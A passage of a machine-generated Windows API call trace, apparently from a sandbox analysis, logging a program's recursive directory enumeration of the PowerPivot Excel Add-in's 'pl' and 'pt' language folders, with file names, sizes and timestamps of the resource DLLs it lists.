lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0281.995] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.995] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.995] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e7d566, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.995] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e7d566, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.995] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0281.996] GetProcessHeap () returned 0xaf0000 [0281.997] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.997] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0281.997] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0281.997] GetProcessHeap () returned 0xaf0000 [0281.997] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0281.999] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.106] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0282.106] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0282.106] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0282.106] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fed144, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fed144, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa937f07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d4bb8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d4bb8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d71cd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0282.107] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x632fb8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x632fb8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x632fb8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0282.108] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69be349, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0282.108] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0282.108] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0282.108] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb78613f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb78613f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb7ac3b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0282.108] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0282.108] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0282.108] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0282.108] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0282.111] GetProcessHeap () returned 0xaf0000 [0282.111] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0282.111] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0282.111] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.tlb", cAlternateFileName="POWERP~1.TLB")) returned 1 [0282.111] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0282.111] GetProcessHeap () returned 0xaf0000 [0282.111] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0282.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.113] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.113] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0282.113] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf263c7d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0282.113] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0282.113] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0282.114] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x200030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0282.114] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00af60a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0282.114] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0282.114] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0282.114] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, 